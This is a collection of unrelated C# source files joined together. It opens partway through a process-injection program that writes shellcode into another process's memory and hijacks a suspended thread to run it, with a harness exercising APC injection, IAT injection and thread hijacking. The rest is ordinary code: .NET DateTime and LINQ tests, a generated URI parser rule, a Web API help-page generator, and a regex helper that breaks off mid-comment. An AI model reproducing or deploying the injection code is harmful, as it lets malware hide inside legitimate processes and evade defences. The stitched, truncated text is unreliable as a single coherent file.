jmp_address.CopyTo(shellcode, payload.Length+mov_rax.Length); jmp_rax.CopyTo(shellcode, payload.Length+mov_rax.Length+jmp_address.Length); // OpenProcess to allocate memory IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id); // Allocate memory for shellcode within process IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((shellcode.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // Write shellcode within process UIntPtr bytesWritten; bool resp1 = WriteProcessMemory(procHandle, allocMemAddress, shellcode, (uint)((shellcode.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten); // Read memory to view shellcode int bytesRead = 0; byte[] buffer = new byte[shellcode.Length]; ReadProcessMemory(procHandle, allocMemAddress, buffer, buffer.Length, ref bytesRead); // Set context EIP to location of shellcode tContext.Rip=(ulong)allocMemAddress.ToInt64(); // Apply new context to suspended thread if(!SetThreadContext(pOpenThread, ref tContext)) { } if (GetThreadContext(pOpenThread, ref tContext)) { } // Resume the thread, redirecting execution to shellcode, then back to original process ResumeThread(pOpenThread); return 0; } } public class Program { public static void Main() { //Test One: Console.WriteLine("{0}", "#1 ProcessInject"); ProcessInject.Inject(); Console.WriteLine("{0}", "ProcessInject Complete"); //Test Two: Console.WriteLine("{0}", "#2 ApcInjectionAnyProcess"); ApcInjectionAnyProcess.Inject(); Console.WriteLine("{0}", "ApcInjectionAnyProcess Complete"); //Test Three: Console.WriteLine("{0}", "#3 ApcInjectionNewProcess"); ApcInjectionNewProcess.Inject(); Console.WriteLine("{0}", "ApcInjectionNewProcess Complete"); //Test Four: Console.WriteLine("{0}", "#4 IatInjection"); IatInjection.Inject(); Console.WriteLine("{0}", "IatInjection Complete"); //Test Five: Console.WriteLine("{0}", "#5 ThreadHijack"); ThreadHijack.Inject(); Console.WriteLine("{0}", "ThreadHijack Complete "); } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. using System; using System.Globalization ; public class DateTimeParse3 { private const int c_MIN_STRING_LEN = 1; private const int c_MAX_STRING_LEN = 2048; private const int c_NUM_LOOPS = 100; public static int Main() { DateTimeParse3 test = new DateTimeParse3(); TestLibrary.TestFramework.BeginTestCase("DateTimeParse3"); if (test.RunTests()) { TestLibrary.TestFramework.EndTestCase(); TestLibrary.TestFramework.LogInformation("PASS"); return 100; } else { TestLibrary.TestFramework.EndTestCase(); TestLibrary.TestFramework.LogInformation("FAIL"); return 0; } } public bool RunTests() { bool retVal = true; // The NoCurrentDateDefault value is the only value that is useful with // the DateTime.Parse method, because DateTime.Parse always ignores leading, // trailing, and inner white-space characters. TestLibrary.TestFramework.LogInformation("[Positive]"); retVal = PosTest1() && retVal; retVal = PosTest2() && retVal; retVal = PosTest3() && retVal; TestLibrary.TestFramework.LogInformation("[Negative]"); retVal = NegTest1() && retVal; retVal = NegTest2() && retVal; retVal = NegTest3() && retVal; return retVal; } public bool PosTest1() { bool retVal = true; string dateBefore = ""; DateTime dateAfter; MyFormater formater = new MyFormater(); TestLibrary.TestFramework.BeginScenario("PosTest1: DateTime.Parse(DateTime.Now, formater, DateTimeStyles.NoCurrentDateDefault)"); try { dateBefore = DateTime.Now.ToString(); dateAfter = DateTime.Parse( dateBefore, formater, DateTimeStyles.NoCurrentDateDefault); if (!dateBefore.Equals(dateAfter.ToString())) { TestLibrary.TestFramework.LogError("001", "DateTime.Parse(" + dateBefore + ") did not equal " + dateAfter.ToString()); retVal = false; } } catch (Exception e) { TestLibrary.TestFramework.LogError("002", "Failing date: " + dateBefore); TestLibrary.TestFramework.LogError("002", "Unexpected exception: " + e); retVal = false; } return retVal; } public bool PosTest2() { bool retVal = true; string dateBefore = ""; DateTime dateAfter; MyFormater formater = new MyFormater(); TestLibrary.TestFramework.BeginScenario("PosTest2: DateTime.Parse(DateTime.Now, null, DateTimeStyles.NoCurrentDateDefault)"); try { dateBefore = DateTime.Now.ToString(); dateAfter = DateTime.Parse( dateBefore, null, DateTimeStyles.NoCurrentDateDefault); if (!dateBefore.Equals(dateAfter.ToString())) { TestLibrary.TestFramework.LogError("009", "DateTime.Parse(" + dateBefore + ") did not equal " + dateAfter.ToString()); retVal = false; } } catch (Exception e) { TestLibrary.TestFramework.LogError("010", "Failing date: " + dateBefore); TestLibrary.TestFramework.LogError("010", "Unexpected exception: " + e); retVal = false; } return retVal; } public bool PosTest3() { bool retVal = true; string dateBefore = ""; DateTime dateAfter; MyFormater formater = new MyFormater(); TestLibrary.TestFramework.BeginScenario("PosTest3: DateTime.Parse(DateTime.Now, null, <invalid DateTimeStyles>)"); try { for(int i=-1024; i<1024; i++) { try { // skip the valid values if (0 == (i & (int)DateTimeStyles.AdjustToUniversal) && 0 == (i & (int)DateTimeStyles.AssumeUniversal) && 0 == (i & (int)DateTimeStyles.AllowInnerWhite) && 0 == (i & (int)DateTimeStyles.AllowLeadingWhite) && 0 == (i & (int)DateTimeStyles.AllowTrailingWhite) && 0 == (i & (int)DateTimeStyles.AllowWhiteSpaces) && 0 == (i & (int)DateTimeStyles.NoCurrentDateDefault) && i != (int)DateTimeStyles.None ) { dateBefore = DateTime.Now.ToString(); dateAfter = DateTime.Parse( dateBefore, null, (DateTimeStyles)i); if (!dateBefore.Equals(dateAfter.ToString())) { TestLibrary.TestFramework.LogError("011", "DateTime.Parse(" + dateBefore + ", " + (DateTimeStyles)i + ") did not equal " + dateAfter.ToString()); retVal = false; } } } catch (System.ArgumentException) { // } } } catch (Exception e) { TestLibrary.TestFramework.LogError("012", "Failing date: " + dateBefore); TestLibrary.TestFramework.LogError("012", "Unexpected exception: " + e); retVal = false; } return retVal; } public bool NegTest1() { bool retVal = true; MyFormater formater = new MyFormater(); TestLibrary.TestFramework.BeginScenario("NegTest1: DateTime.Parse(null, formater, DateTimeStyles.NoCurrentDateDefault)"); try { DateTime.Parse(null, formater, DateTimeStyles.NoCurrentDateDefault); TestLibrary.TestFramework.LogError("003", "DateTime.Parse(null) should have thrown"); retVal = false; } catch (ArgumentNullException) { // expected } catch (Exception e) { TestLibrary.TestFramework.LogError("004", "Unexpected exception: " + e); retVal = false; } return retVal; } public bool NegTest2() { bool retVal = true; MyFormater formater = new MyFormater(); TestLibrary.TestFramework.BeginScenario("NegTest2: DateTime.Parse(String.Empty, formater, DateTimeStyles.NoCurrentDateDefault)"); try { DateTime.Parse(String.Empty, formater, DateTimeStyles.NoCurrentDateDefault); TestLibrary.TestFramework.LogError("005", "DateTime.Parse(String.Empty) should have thrown"); retVal = false; } catch (FormatException) { // expected } catch (Exception e) { TestLibrary.TestFramework.LogError("006", "Unexpected exception: " + e); retVal = false; } return retVal; } public bool NegTest3() { bool retVal = true; MyFormater formater = new MyFormater(); string strDateTime = ""; DateTime dateAfter; TestLibrary.TestFramework.BeginScenario("NegTest3: DateTime.Parse(<garbage>, formater, DateTimeStyles.NoCurrentDateDefault)"); try { for (int i=0; i<c_NUM_LOOPS; i++) { try { strDateTime = TestLibrary.Generator.GetString(-55, false, c_MIN_STRING_LEN, c_MAX_STRING_LEN); dateAfter = DateTime.Parse(strDateTime, formater, DateTimeStyles.NoCurrentDateDefault); TestLibrary.TestFramework.LogError("007", "DateTime.Parse(" + strDateTime + ") should have thrown (" + dateAfter + ")"); retVal = false; } catch (FormatException) { // expected } } } catch (Exception e) { TestLibrary.TestFramework.LogError("008", "Failing date: " + strDateTime); TestLibrary.TestFramework.LogError("008", "Unexpected exception: " + e); retVal = false; } return retVal; } } public class MyFormater : IFormatProvider { public object GetFormat(Type formatType) { if (typeof(IFormatProvider) == formatType) { return this; } else { return null; } } }
/* ----------------------------------------------------------------------------- * Rule_authority.cs * ----------------------------------------------------------------------------- * * Producer : com.parse2.aparse.Parser 2.5 * Produced : Sat Dec 18 07:35:23 GMT 2021 * * ----------------------------------------------------------------------------- */ using System; using System.Collections.Generic; sealed internal class Rule_authority:Rule { private Rule_authority(String spelling, List<Rule> rules) : base(spelling, rules) { } internal override Object Accept(Visitor visitor) { return visitor.Visit(this); } public static Rule_authority Parse(ParserContext context) { context.Push("authority"); Rule rule; bool parsed = true; ParserAlternative b; int s0 = context.index; ParserAlternative a0 = new ParserAlternative(s0); List<ParserAlternative> as1 = new List<ParserAlternative>(); parsed = false; { int s1 = context.index; ParserAlternative a1 = new ParserAlternative(s1); parsed = true; if (parsed) { bool f1 = true; int c1 = 0; for (int i1 = 0; i1 < 1 && f1; i1++) { int g1 = context.index; List<ParserAlternative> as2 = new List<ParserAlternative>(); parsed = false; { int s2 = context.index; ParserAlternative a2 = new ParserAlternative(s2); parsed = true; if (parsed) { bool f2 = true; int c2 = 0; for (int i2 = 0; i2 < 1 && f2; i2++) { rule = Rule_userinfo.Parse(context); if ((f2 = rule != null)) { a2.Add(rule, context.index); c2++; } } parsed = c2 == 1; } if (parsed) { bool f2 = true; int c2 = 0; for (int i2 = 0; i2 < 1 && f2; i2++) { rule = Terminal_StringValue.Parse(context, "@"); if ((f2 = rule != null)) { a2.Add(rule, context.index); c2++; } } parsed = c2 == 1; } if (parsed) { as2.Add(a2); } context.index = s2; } b = ParserAlternative.GetBest(as2); parsed = b != null; if (parsed) { a1.Add(b.rules, b.end); context.index = b.end; } f1 = context.index > g1; if (parsed) c1++; } parsed = true; } if (parsed) { bool f1 = true; int c1 = 0; for (int i1 = 0; i1 < 1 && f1; i1++) { rule = Rule_host.Parse(context); if ((f1 = rule != null)) { a1.Add(rule, context.index); c1++; } } parsed = c1 == 1; } if (parsed) { bool f1 = true; int c1 = 0; for (int i1 = 0; i1 < 1 && f1; i1++) { int g1 = context.index; List<ParserAlternative> as2 = new List<ParserAlternative>(); parsed = false; { int s2 = context.index; ParserAlternative a2 = new ParserAlternative(s2); parsed = true; if (parsed) { bool f2 = true; int c2 = 0; for (int i2 = 0; i2 < 1 && f2; i2++) { rule = Terminal_StringValue.Parse(context, ":"); if ((f2 = rule != null)) { a2.Add(rule, context.index); c2++; } } parsed = c2 == 1; } if (parsed) { bool f2 = true; int c2 = 0; for (int i2 = 0; i2 < 1 && f2; i2++) { rule = Rule_port.Parse(context); if ((f2 = rule != null)) { a2.Add(rule, context.index); c2++; } } parsed = c2 == 1; } if (parsed) { as2.Add(a2); } context.index = s2; } b = ParserAlternative.GetBest(as2); parsed = b != null; if (parsed) { a1.Add(b.rules, b.end); context.index = b.end; } f1 = context.index > g1; if (parsed) c1++; } parsed = true; } if (parsed) { as1.Add(a1); } context.index = s1; } b = ParserAlternative.GetBest(as1); parsed = b != null; if (parsed) { a0.Add(b.rules, b.end); context.index = b.end; } rule = null; if (parsed) { rule = new Rule_authority(context.text.Substring(a0.start, a0.end - a0.start), a0.rules); } else { context.index = s0; } context.Pop("authority", parsed); return (Rule_authority)rule; } } /* ----------------------------------------------------------------------------- * eof * ----------------------------------------------------------------------------- */
using System; using System.Collections; using System.Collections.Generic; using System.Collections.Specialized; using System.ComponentModel.DataAnnotations; using System.Globalization; using System.Reflection; using System.Runtime.Serialization; using System.Web.Http; using System.Web.Http.Description; using System.Xml.Serialization; using Newtonsoft.Json; namespace Continuum.Master.Host.Areas.HelpPage.ModelDescriptions { /// <summary> /// Generates model descriptions for given types. /// </summary> public class ModelDescriptionGenerator { // Modify this to support more data annotation attributes. private readonly IDictionary<Type, Func<object, string>> AnnotationTextGenerator = new Dictionary<Type, Func<object, string>> { { typeof(RequiredAttribute), a => "Required" }, { typeof(RangeAttribute), a => { RangeAttribute range = (RangeAttribute)a; return String.Format(CultureInfo.CurrentCulture, "Range: inclusive between {0} and {1}", range.Minimum, range.Maximum); } }, { typeof(MaxLengthAttribute), a => { MaxLengthAttribute maxLength = (MaxLengthAttribute)a; return String.Format(CultureInfo.CurrentCulture, "Max length: {0}", maxLength.Length); } }, { typeof(MinLengthAttribute), a => { MinLengthAttribute minLength = (MinLengthAttribute)a; return String.Format(CultureInfo.CurrentCulture, "Min length: {0}", minLength.Length); } }, { typeof(StringLengthAttribute), a => { StringLengthAttribute strLength = (StringLengthAttribute)a; return String.Format(CultureInfo.CurrentCulture, "String length: inclusive between {0} and {1}", strLength.MinimumLength, strLength.MaximumLength); } }, { typeof(DataTypeAttribute), a => { DataTypeAttribute dataType = (DataTypeAttribute)a; return String.Format(CultureInfo.CurrentCulture, "Data type: {0}", dataType.CustomDataType ?? dataType.DataType.ToString()); } }, { typeof(RegularExpressionAttribute), a => { RegularExpressionAttribute regularExpression = (RegularExpressionAttribute)a; return String.Format(CultureInfo.CurrentCulture, "Matching regular expression pattern: {0}", regularExpression.Pattern); } }, }; // Modify this to add more default documentations. private readonly IDictionary<Type, string> DefaultTypeDocumentation = new Dictionary<Type, string> { { typeof(Int16), "integer" }, { typeof(Int32), "integer" }, { typeof(Int64), "integer" }, { typeof(UInt16), "unsigned integer" }, { typeof(UInt32), "unsigned integer" }, { typeof(UInt64), "unsigned integer" }, { typeof(Byte), "byte" }, { typeof(Char), "character" }, { typeof(SByte), "signed byte" }, { typeof(Uri), "URI" }, { typeof(Single), "decimal number" }, { typeof(Double), "decimal number" }, { typeof(Decimal), "decimal number" }, { typeof(String), "string" }, { typeof(Guid), "globally unique identifier" }, { typeof(TimeSpan), "time interval" }, { typeof(DateTime), "date" }, { typeof(DateTimeOffset), "date" }, { typeof(Boolean), "boolean" }, }; private Lazy<IModelDocumentationProvider> _documentationProvider; public ModelDescriptionGenerator(HttpConfiguration config) { if (config == null) { throw new ArgumentNullException("config"); } _documentationProvider = new Lazy<IModelDocumentationProvider>(() => config.Services.GetDocumentationProvider() as IModelDocumentationProvider); GeneratedModels = new Dictionary<string, ModelDescription>(StringComparer.OrdinalIgnoreCase); } public Dictionary<string, ModelDescription> GeneratedModels { get; private set; } private IModelDocumentationProvider DocumentationProvider { get { return _documentationProvider.Value; } } public ModelDescription GetOrCreateModelDescription(Type modelType) { if (modelType == null) { throw new ArgumentNullException("modelType"); } Type underlyingType = Nullable.GetUnderlyingType(modelType); if (underlyingType != null) { modelType = underlyingType; } ModelDescription modelDescription; string modelName = ModelNameHelper.GetModelName(modelType); if (GeneratedModels.TryGetValue(modelName, out modelDescription)) { if (modelType != modelDescription.ModelType) { throw new InvalidOperationException( String.Format( CultureInfo.CurrentCulture, "A model description could not be created. Duplicate model name '{0}' was found for types '{1}' and '{2}'. " + "Use the [ModelName] attribute to change the model name for at least one of the types so that it has a unique name.", modelName, modelDescription.ModelType.FullName, modelType.FullName)); } return modelDescription; } if (DefaultTypeDocumentation.ContainsKey(modelType)) { return GenerateSimpleTypeModelDescription(modelType); } if (modelType.IsEnum) { return GenerateEnumTypeModelDescription(modelType); } if (modelType.IsGenericType) { Type[] genericArguments = modelType.GetGenericArguments(); if (genericArguments.Length == 1) { Type enumerableType = typeof(IEnumerable<>).MakeGenericType(genericArguments); if (enumerableType.IsAssignableFrom(modelType)) { return GenerateCollectionModelDescription(modelType, genericArguments[0]); } } if (genericArguments.Length == 2) { Type dictionaryType = typeof(IDictionary<,>).MakeGenericType(genericArguments); if (dictionaryType.IsAssignableFrom(modelType)) { return GenerateDictionaryModelDescription(modelType, genericArguments[0], genericArguments[1]); } Type keyValuePairType = typeof(KeyValuePair<,>).MakeGenericType(genericArguments); if (keyValuePairType.IsAssignableFrom(modelType)) { return GenerateKeyValuePairModelDescription(modelType, genericArguments[0], genericArguments[1]); } } } if (modelType.IsArray) { Type elementType = modelType.GetElementType(); return GenerateCollectionModelDescription(modelType, elementType); } if (modelType == typeof(NameValueCollection)) { return GenerateDictionaryModelDescription(modelType, typeof(string), typeof(string)); } if (typeof(IDictionary).IsAssignableFrom(modelType)) { return GenerateDictionaryModelDescription(modelType, typeof(object), typeof(object)); } if (typeof(IEnumerable).IsAssignableFrom(modelType)) { return GenerateCollectionModelDescription(modelType, typeof(object)); } return GenerateComplexTypeModelDescription(modelType); } // Change this to provide different name for the member. private static string GetMemberName(MemberInfo member, bool hasDataContractAttribute) { JsonPropertyAttribute jsonProperty = member.GetCustomAttribute<JsonPropertyAttribute>(); if (jsonProperty != null && !String.IsNullOrEmpty(jsonProperty.PropertyName)) { return jsonProperty.PropertyName; } if (hasDataContractAttribute) { DataMemberAttribute dataMember = member.GetCustomAttribute<DataMemberAttribute>(); if (dataMember != null && !String.IsNullOrEmpty(dataMember.Name)) { return dataMember.Name; } } return member.Name; } private static bool ShouldDisplayMember(MemberInfo member, bool hasDataContractAttribute) { JsonIgnoreAttribute jsonIgnore = member.GetCustomAttribute<JsonIgnoreAttribute>(); XmlIgnoreAttribute xmlIgnore = member.GetCustomAttribute<XmlIgnoreAttribute>(); IgnoreDataMemberAttribute ignoreDataMember = member.GetCustomAttribute<IgnoreDataMemberAttribute>(); NonSerializedAttribute nonSerialized = member.GetCustomAttribute<NonSerializedAttribute>(); ApiExplorerSettingsAttribute apiExplorerSetting = member.GetCustomAttribute<ApiExplorerSettingsAttribute>(); bool hasMemberAttribute = member.DeclaringType.IsEnum ? member.GetCustomAttribute<EnumMemberAttribute>() != null : member.GetCustomAttribute<DataMemberAttribute>() != null; // Display member only if all the followings are true: // no JsonIgnoreAttribute // no XmlIgnoreAttribute // no IgnoreDataMemberAttribute // no NonSerializedAttribute // no ApiExplorerSettingsAttribute with IgnoreApi set to true // no DataContractAttribute without DataMemberAttribute or EnumMemberAttribute return jsonIgnore == null && xmlIgnore == null && ignoreDataMember == null && nonSerialized == null && (apiExplorerSetting == null || !apiExplorerSetting.IgnoreApi) && (!hasDataContractAttribute || hasMemberAttribute); } private string CreateDefaultDocumentation(Type type) { string documentation; if (DefaultTypeDocumentation.TryGetValue(type, out documentation)) { return documentation; } if (DocumentationProvider != null) { documentation = DocumentationProvider.GetDocumentation(type); } return documentation; } private void GenerateAnnotations(MemberInfo property, ParameterDescription propertyModel) { List<ParameterAnnotation> annotations = new List<ParameterAnnotation>(); IEnumerable<Attribute> attributes = property.GetCustomAttributes(); foreach (Attribute attribute in attributes) { Func<object, string> textGenerator; if (AnnotationTextGenerator.TryGetValue(attribute.GetType(), out textGenerator)) { annotations.Add( new ParameterAnnotation { AnnotationAttribute = attribute, Documentation = textGenerator(attribute) }); } } // Rearrange the annotations annotations.Sort((x, y) => { // Special-case RequiredAttribute so that it shows up on top if (x.AnnotationAttribute is RequiredAttribute) { return -1; } if (y.AnnotationAttribute is RequiredAttribute) { return 1; } // Sort the rest based on alphabetic order of the documentation return String.Compare(x.Documentation, y.Documentation, StringComparison.OrdinalIgnoreCase); }); foreach (ParameterAnnotation annotation in annotations) { propertyModel.Annotations.Add(annotation); } } private CollectionModelDescription GenerateCollectionModelDescription(Type modelType, Type elementType) { ModelDescription collectionModelDescription = GetOrCreateModelDescription(elementType); if (collectionModelDescription != null) { return new CollectionModelDescription { Name = ModelNameHelper.GetModelName(modelType), ModelType = modelType, ElementDescription = collectionModelDescription }; } return null; } private ModelDescription GenerateComplexTypeModelDescription(Type modelType) { ComplexTypeModelDescription complexModelDescription = new ComplexTypeModelDescription { Name = ModelNameHelper.GetModelName(modelType), ModelType = modelType, Documentation = CreateDefaultDocumentation(modelType) }; GeneratedModels.Add(complexModelDescription.Name, complexModelDescription); bool hasDataContractAttribute = modelType.GetCustomAttribute<DataContractAttribute>() != null; PropertyInfo[] properties = modelType.GetProperties(BindingFlags.Public | BindingFlags.Instance); foreach (PropertyInfo property in properties) { if (ShouldDisplayMember(property, hasDataContractAttribute)) { ParameterDescription propertyModel = new ParameterDescription { Name = GetMemberName(property, hasDataContractAttribute) }; if (DocumentationProvider != null) { propertyModel.Documentation = DocumentationProvider.GetDocumentation(property); } GenerateAnnotations(property, propertyModel); complexModelDescription.Properties.Add(propertyModel); propertyModel.TypeDescription = GetOrCreateModelDescription(property.PropertyType); } } FieldInfo[] fields = modelType.GetFields(BindingFlags.Public | BindingFlags.Instance); foreach (FieldInfo field in fields) { if (ShouldDisplayMember(field, hasDataContractAttribute)) { ParameterDescription propertyModel = new ParameterDescription { Name = GetMemberName(field, hasDataContractAttribute) }; if (DocumentationProvider != null) { propertyModel.Documentation = DocumentationProvider.GetDocumentation(field); } complexModelDescription.Properties.Add(propertyModel); propertyModel.TypeDescription = GetOrCreateModelDescription(field.FieldType); } } return complexModelDescription; } private DictionaryModelDescription GenerateDictionaryModelDescription(Type modelType, Type keyType, Type valueType) { ModelDescription keyModelDescription = GetOrCreateModelDescription(keyType); ModelDescription valueModelDescription = GetOrCreateModelDescription(valueType); return new DictionaryModelDescription { Name = ModelNameHelper.GetModelName(modelType), ModelType = modelType, KeyModelDescription = keyModelDescription, ValueModelDescription = valueModelDescription }; } private EnumTypeModelDescription GenerateEnumTypeModelDescription(Type modelType) { EnumTypeModelDescription enumDescription = new EnumTypeModelDescription { Name = ModelNameHelper.GetModelName(modelType), ModelType = modelType, Documentation = CreateDefaultDocumentation(modelType) }; bool hasDataContractAttribute = modelType.GetCustomAttribute<DataContractAttribute>() != null; foreach (FieldInfo field in modelType.GetFields(BindingFlags.Public | BindingFlags.Static)) { if (ShouldDisplayMember(field, hasDataContractAttribute)) { EnumValueDescription enumValue = new EnumValueDescription { Name = field.Name, Value = field.GetRawConstantValue().ToString() }; if (DocumentationProvider != null) { enumValue.Documentation = DocumentationProvider.GetDocumentation(field); } enumDescription.Values.Add(enumValue); } } GeneratedModels.Add(enumDescription.Name, enumDescription); return enumDescription; } private KeyValuePairModelDescription GenerateKeyValuePairModelDescription(Type modelType, Type keyType, Type valueType) { ModelDescription keyModelDescription = GetOrCreateModelDescription(keyType); ModelDescription valueModelDescription = GetOrCreateModelDescription(valueType); return new KeyValuePairModelDescription { Name = ModelNameHelper.GetModelName(modelType), ModelType = modelType, KeyModelDescription = keyModelDescription, ValueModelDescription = valueModelDescription }; } private ModelDescription GenerateSimpleTypeModelDescription(Type modelType) { SimpleTypeModelDescription simpleModelDescription = new SimpleTypeModelDescription { Name = ModelNameHelper.GetModelName(modelType), ModelType = modelType, Documentation = CreateDefaultDocumentation(modelType) }; GeneratedModels.Add(simpleModelDescription.Name, simpleModelDescription); return simpleModelDescription; } } }
// Copyright (c) Microsoft. All rights reserved. // Licensed under the MIT license. See LICENSE file in the project root for full license information. using System; using System.Collections.Generic; using Xunit; namespace System.Linq.Tests.LegacyTests { public class LastTests { public class Last003 { private static int Last001() { var q = from x in new[] { 9999, 0, 888, -1, 66, -777, 1, 2, -12345 } where x > Int32.MinValue select x; var rst1 = q.Last<int>(); var rst2 = q.Last<int>(); return ((rst1 == rst2) ? 0 : 1); } private static int Last002() { var q = from x in new[] { "!@#$%^", "C", "AAA", "", "Calling Twice", "SoS", String.Empty } where !String.IsNullOrEmpty(x) select x; var rst1 = q.Last<string>(); var rst2 = q.Last<string>(); return ((rst1 == rst2) ? 0 : 1); } public static int Main() { int ret = RunTest(Last001) + RunTest(Last002); if (0 != ret) Console.Write(s_errorMessage); return ret; } private static string s_errorMessage = String.Empty; private delegate int D(); private static int RunTest(D m) { int n = m(); if (0 != n) s_errorMessage += m.ToString() + " - FAILED!\r\n"; return n; } [Fact] public void Test() { Assert.Equal(0, Main()); } } public class Last1a { // source is of type IList, source is empty public static int Test1a() { int[] source = { }; IList<int> list = source as IList<int>; if (list == null) return 1; try { var actual = source.Last(); return 1; } catch (InvalidOperationException) { return 0; } } public static int Main() { return Test1a(); } [Fact] public void Test() { Assert.Equal(0, Main()); } } public class Last1b { // source is of type IList, source has one element public static int Test1b() { int[] source = { 5 }; int expected = 5; IList<int> list = source as IList<int>; if (list == null) return 1; var actual = source.Last(); return ((expected == actual) ? 0 : 1); } public static int Main() { return Test1b(); } [Fact] public void Test() { Assert.Equal(0, Main()); } } public class Last1c { // source is of type IList, source has > 1 element public static int Test1c() { int?[] source = { -10, 2, 4, 3, 0, 2, null }; int? expected = null; IList<int?> list = source as IList<int?>; if (list == null) return 1; var actual = source.Last(); return ((expected == actual) ? 0 : 1); } public static int Main() { return Test1c(); } [Fact] public void Test() { Assert.Equal(0, Main()); } } public class Last1d { // source is NOT of type IList, source is empty public static int Test1d() { IEnumerable<int> source = Functions.NumList(0, 0); IList<int> list = source as IList<int>; if (list != null) return 1; try { var actual = source.Last(); return 1; } catch (InvalidOperationException) { return 0; } } public static int Main() { return Test1d(); } [Fact] public void Test() { Assert.Equal(0, Main()); } } public class Last1e { // source is NOT of type IList, source has one element public static int Test1e() { IEnumerable<int> source = Functions.NumList(-5, 1); int expected = -5; IList<int> list = source as IList<int>; if (list != null) return 1; var actual = source.Last(); return ((expected == actual) ? 0 : 1); } public static int Main() { return Test1e(); } [Fact] public void Test() { Assert.Equal(0, Main()); } } public class Last1f { // source is NOT of type IList, source has > 1 element public static int Test1f() { IEnumerable<int> source = Functions.NumList(3, 10); int expected = 12; IList<int> list = source as IList<int>; if (list != null) return 1; var actual = source.Last(); return ((expected == actual) ? 0 : 1); } public static int Main() { return Test1f(); } [Fact] public void Test() { Assert.Equal(0, Main()); } } public class Last2a { // source is empty public static int Test2a() { int[] source = { }; Func<int, bool> predicate = Functions.IsEven; try { var actual = source.Last(predicate); return 1; } catch (InvalidOperationException) { return 0; } } public static int Main() { return Test2a(); } [Fact] public void Test() { Assert.Equal(0, Main()); } } public class Last2b { // source has one element, predicate is true public static int Test2b() { int[] source = { 4 }; Func<int, bool> predicate = Functions.IsEven; int expected = 4; var actual = source.Last(predicate); return ((expected == actual) ? 0 : 1); } public static int Main() { return Test2b(); } [Fact] public void Test() { Assert.Equal(0, Main()); } } public class Last2c { // source has > one element, predicate is false for all public static int Test2c() { int[] source = { 9, 5, 1, 3, 17, 21 }; Func<int, bool> predicate = Functions.IsEven; try { var actual = source.Last(predicate); return 1; } catch (InvalidOperationException) { return 0; } } public static int Main() { return Test2c(); } [Fact] public void Test() { Assert.Equal(0, Main()); } } public class Last2d { // source has > one element, predicate is true only for last element public static int Test2d() { int[] source = { 9, 5, 1, 3, 17, 21, 50 }; Func<int, bool> predicate = Functions.IsEven; int expected = 50; var actual = source.Last(predicate); return ((expected == actual) ? 0 : 1); } public static int Main() { return Test2d(); } [Fact] public void Test() { Assert.Equal(0, Main()); } } public class Last2e { // source has > one element, predicate is true for 3rd, 6th and 8th element public static int Test2e() { int[] source = { 3, 7, 10, 7, 9, 2, 11, 18, 13, 11 }; Func<int, bool> predicate = Functions.IsEven; int expected = 18; var actual = source.Last(predicate); return ((expected == actual) ? 0 : 1); } public static int Main() { return Test2e(); } [Fact] public void Test() { Assert.Equal(0, Main()); } } } }
// Uncomment the next line depending on your environment (Mono, Visual Studio 2008, .NET 3.5) // #define NET35 // Use .NET 4.0 to enable thread safe cacheing. // Copyright (c)2011 Brandon Croft and contributors using System.Linq; using System.Collections.Generic; using System.Collections; using System.Text.RegularExpressions; #if !NET35 using System.Collections.Concurrent; #endif namespace System { /// <summary> /// A simplified collection of regex groups and captures. /// </summary> /// <example> /// var matches = "John Wilkes Booth".MatchesPattern(@"(?&lt;firstname&gt;\w+)\s(\w+)\s(?&lt;lastname&gt;\w+)"); /// Assert.AreEqual("John Wilkes Booth", matches[0]); /// Assert.AreEqual("John", matches["firstname"]); /// Assert.AreEqual("Wilkes", matches[1]); /// Assert.AreEqual("Booth", matches["lastname"]); /// Assert.AreEqual(4, matches.Count); /// </example> /// <remarks> /// See http://stackoverflow.com/questions/2250335/differences-among-net-capture-group-match/2251774#2251774 for a good /// explanation of why MatchCollection is so complicated. /// </remarks> public class MatchData : IEnumerable<string> { List<Capture> indexcaptures = new List<Capture>(); Dictionary<string, Capture> namedcaptures = null; /// <summary> /// Gets a numbered capture value. The first index (0) is always the entire match. /// </summary> /// <param name="index">The index of the numbered capture</param> /// <returns>The value of the specified numbered capture</returns> public string this[int index] { get { try { return indexcaptures[index].Value; } catch (ArgumentOutOfRangeException ex) { throw new IndexOutOfRangeException(String.Format("The index {0} was out of range", index), ex); } } } /// <summary> /// Gets a named capture value. /// </summary> /// <param name="name">The name of the named capture</param> /// <returns>The value of the specified named capture</returns> public string this[string name] { get { Capture result = null; if (namedcaptures == null || !namedcaptures.TryGetValue(name, out result)) return null; return result.Value; } } /// <summary> /// Gets the position of the specifed numbered capture /// </summary> /// <param name="index">The index of the numbered capture</param> /// <returns>The position of the capture</returns> public int Begin(int index) { try { Capture cap = indexcaptures[index]; return cap.Index; } catch (ArgumentOutOfRangeException ex) { throw new IndexOutOfRangeException(String.Format("The index {0} was out of range", index), ex); } } /// <summary> /// Gets the position of the character immediately following the end of the specified numbered capture /// </summary> /// <param name="index">The index of the numbered capture</param> /// <returns>The position of the character immediately following the end of the specified numbered capture</returns> public int End(int index) { try { Capture cap = indexcaptures[index]; return cap.Index + cap.Length; } catch (ArgumentOutOfRangeException ex) { throw new IndexOutOfRangeException(String.Format("The index {0} was out of range", index), ex); } } /// <summary> /// Gets the position of the named capture /// </summary> /// <param name="name">The name of the named capture</param> /// <returns>The position of the capture</returns> public int Begin(string name) { Capture cap; if(namedcaptures == null || !namedcaptures.TryGetValue(name, out cap)) return -1; return cap.Index; } /// <summary> /// Gets the position of the character immediately following the end of the specified named capture /// </summary> /// <param name="index">The index of the named capture</param> /// <returns>The position of the character immediately following the end of the specified named capture</returns> public int End(string name) { Capture cap; if (namedcaptures == null || !namedcaptures.TryGetValue(name, out cap)) return -1; return cap.Index + cap.Length; } /// <summary> /// Gets the total number of captures /// </summary> public int Count { get { return indexcaptures.Count + (namedcaptures == null ? 0 : namedcaptures.Count); } } /// <summary> /// Gets the total number of numbered captures /// </summary> public int MatchCount { get { return indexcaptures.Count; } } /// <summary> /// Retrieves an array of capture names from the matches. /// </summary> /// <param name="pattern"></param> /// 